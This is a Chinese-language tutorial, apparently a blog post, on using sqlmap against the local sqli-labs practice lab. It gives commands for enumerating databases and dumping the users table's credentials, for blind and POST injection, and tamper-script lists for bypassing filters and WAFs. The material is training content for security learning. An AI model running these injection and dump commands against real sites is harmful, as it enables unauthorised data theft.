前言
手动进行SQL注入效率还是没有工具高啊,掌握对工具的使用可以帮助我们提高效率。先以sqli-labs基础篇为例学习sqlmap基础功能。
GET型注入
联合查询
less1-4注入都是很相似的,我们就以第一关为例。我们可以先检测注入方式:python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 --dbms --batch
- -u:指定url
- –batch: 执行过程中不需要用户输入YES or NO,将会使用sqlmap提示的默认值YES一直运行下去。推荐都可以添加进
- –dbms:指定数据库
结果如下:
系统给出了四种注入方式,分别是布尔盲注、报错注入、时间盲注和联合查询,我们也可以从payload看出这题是基于单引号的错误进行注入。
接下来我们开始进行注入,下面介绍如何一步步从数据库查到表格中的数据:
- –dbs:爆出所有数据库名称
- –current-db:获取当前数据库名称
- -D database_name –tables:获取指定数据库中的表名
- -D database_name -T table_name –columns:获取指定表格的列名
- -D database_name -T table_name -C cname1[,cname2,cname3…] –dump:获取指定列的数据
结果如下:python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 --dbs
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 -D security --tables
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 -D security -T users --columns
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-1/?id=1 -D security -T users -C id,username,password --dump
报错注入&盲注
其实直接用上面的语句也是可以的,但是这时我们会发现,sqlmap的注入用时大大延长,这是因为sqlmap检测到了多种注入方法,然后一个一个跑下来,等到成功了再返回结果,因此介绍如何指定过滤方法:
- –technique X:指定注入技术,支持5种形式,根据不同方法指定X的值(指定多个也可以,例如要指定报错和时间盲注就是ET)
1 | B:Boolean-based-blind (布尔型型注入) |
盲注时,为了提高效率,我们也可以设置最大并发线程:
- –threads:最大并发线程,盲注时每个线程获取一个字符,获取完成后线程结束,默认为1,建议不要超过10
这样可以大大提高注入效率。
POST型注入
针对POST型注入有两种方式。
- –data:添加数据段
例如:python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-11 --data "uname=1 &passwd=1 &submit=Submit" --dbs
当然我们一般不这样做,因为这样构造比较麻烦,我们一般使用burp suit抓包后将内容存在txt文档中,这个文档也一般放在sqlmap的根目录中,然后构建下面这个指令(文件存入1.txt中):python sqlmap.py -r 1.txt --dbs
为什么推荐下面这种做法呢,一个是因为这样构造的指令比较简单,另一个是因为这样当我们设置高level时就会检测文件头中的其他参数,下面介绍sqlmap的几个等级:
- –level 1:默认值,能测试的语句少,速度快
- –level 2:测试http、cookie
- –level 3:测试user-agent、referer
当level为5时会测试很多的payload,效率会降低。当不清楚注入点时可以将level的值设置为3或以上。
当然当清楚注入点时,也可以用例如--cokkie
、--user-agent
这类的语句指定注入目标,这样可以不用抓包,也可以不用设置level:python sqlmap.py -u http://127.0.0.1/sqli-labs-php7/Less-19/ --referer=" http://127.0.0.1/sqli-labs-php7/Less-19/*" --dbs
Tamper
注入时遇到过滤一定是不可避免的,我们可以用sqlmap自带的tamper脚本进行各种的绕过。
例如21关中对cookie需要进行base64解码,我们就可以使用--tamper=base64encode
来解决
不过在我们不太清楚具体过滤的内容时,我们可以直接无脑套tamper,虽然效率偏低,但是十分方便:tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
总结
sqlmap还有很多很强大的功能,下面的链接总结了sqlmap的所有指令可供参考。
sqlmap指令大全